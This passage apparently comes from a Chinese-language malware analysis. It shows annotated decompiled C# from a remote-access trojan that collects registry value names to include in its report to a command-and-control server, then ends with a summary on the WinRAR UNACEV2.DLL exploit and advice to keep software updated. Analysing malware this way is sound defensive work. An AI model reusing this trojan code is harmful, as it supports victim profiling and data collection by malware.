// ========== 第十步:采集恶意程序自定义注册表项的32位值(插件/配置ID) ========== string regValues = ""; try { // 读取HKCU\Software\[OK.RG]下所有32位长度的注册表值(可能是插件ID/加密密钥) foreach (string regName in OK.F.Registry.CurrentUser.CreateSubKey("Software\\" + OK.RG, 0).GetValueNames()) { if (regName.Length == 32) // 32位长度→MD5/UUID类唯一标识 { regValues += regName + ","; } } } catch (Exception ex8) { // 采集失败不影响整体,静默忽略 }
// 返回完整的信息字符串(供connect()函数上报C2) return infoStr + regValues;}总结#
系统的安全性往往取决于最薄弱的那个环节。 WinRAR 主程序固然安全,但一个 2005 年编写、十几年来无人维护的动态链接库(UNACEV2.DLL),却成了攻破整个系统的特洛伊木马。
对于普通用户而言,防御此类 Exploit 攻击最有效的方法,往往不是安装杀毒软件,而是及时更新你的常用软件。因为在 Exploit 的世界里,时间就是最强的武器。